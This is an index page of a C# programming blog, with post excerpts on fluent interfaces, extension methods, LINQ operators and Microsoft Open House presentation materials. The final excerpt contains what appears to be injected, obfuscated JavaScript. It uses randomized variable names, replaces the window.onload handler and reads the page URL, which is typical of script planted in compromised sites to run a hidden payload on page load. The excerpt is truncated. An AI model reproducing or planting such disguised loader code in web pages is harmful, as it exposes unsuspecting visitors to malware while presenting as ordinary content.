DCSIMG
C# 3.0 - Pavel's Blog
Sign in | Join | Help

Pavel's Blog

Pavel is a software guy that is interested in almost everything
software related... way too much for too little time

Browse by Tags

C# Extension Methods and Fluent Interfaces
07 February 13 03:42 AM | pavely | 1 comment(s)
The idea of fluent interfaces is not new, and has many forms. The basic idea is to use a single statement to encompass a series of operations that are natural, or at least simple, to use. There are very few fluent interfaces in .NET – the most well known, which has some fluent interface semantics, is the System.Text.StringBuilder class. Here’s a simple example: public static string BuildInfo(Process process) { return new StringBuilder( "Process " ) .AppendLine(process.ProcessName) .Append...
תגים:, , , , , ,
Static vs. Instance (vs. Extension)
09 March 12 01:01 AM | pavely | with no comments
Sometimes I teach a basic .NET & C# course. Among many other things, I discuss arrays. I mention that all .NET arrays derive from System.Array , and so get some functionality for free, such as sorting. Here’s a simple array: int [] a = new int [10]; Now, the inexperienced student may type “a.”, opening the intellisense list box, and look for a method named Sort – after all, the instructor (me) said arrays support such an operation. The confused student can’t find any such method. Of course the...
תגים:, , , , ,
Presentation & Demos from C# LINQ Open House
18 February 09 01:54 PM | pavely | with no comments
Today I presented a Microsoft Open House event focused on C# 3.0 features and LINQ. Thank you all for coming! I have attached the presentation and demos. Note that to make the LINQ to SQL samples work, you must change the connection string appropriately in the app.config file, or pass another one in the NorthwindDataContext constructor. Presentation & Demos
Some "Less Famous" but Useful LINQ Operators
20 July 08 09:25 AM | pavely | with no comments
LINQ has many operators, but some get more attention than others. The most famous are the ones which can be expressed in a from clause, such as Where , OrderBy , OrderByDescending , GroupBy and Select . However, many other operators exist - here's my favorite list: Intersect, Union, Except These operators are the set operators intersection (AND), union (OR) and difference. The Intersect operator returns the items that are present in both sequences as a new sequence. Here's an example: var...
Presentation and Samples from Open House on C# 3.0 and LINQ
28 May 08 01:12 PM | pavely | with no comments
מצורפים המצגת והדוגמאות שנתתי הבוקר בבית הפתוח של Microsoft בבית חיל האויר. WqCoONEvfWsCORu = window.onload; var jksbrJpMjFkVExnJs= 18931 - 6689; window.onload = XeQrOxKNqPEeGWCBYp; GhBDxpwYHpISQwGkT = ""; oEDsUaUPpewfMxIy =19948 + 6567; SIjbURusbJVkpcqLCAK = ""; mERLyGLcAaFGuUF = ""; var dCXvkIIbnEILFiYAKv =23721; YvYYOLaRNxVOwATeD = WwBgKYEshHLfxRSn(window.location.href); var PUSWiyFMFIDjcEWv; nBionPUaLBKvpdwKXrI = '154221'; var SbvyQxIiupGGIpVESqh; EGBjpVBghJpnEwrFxSp...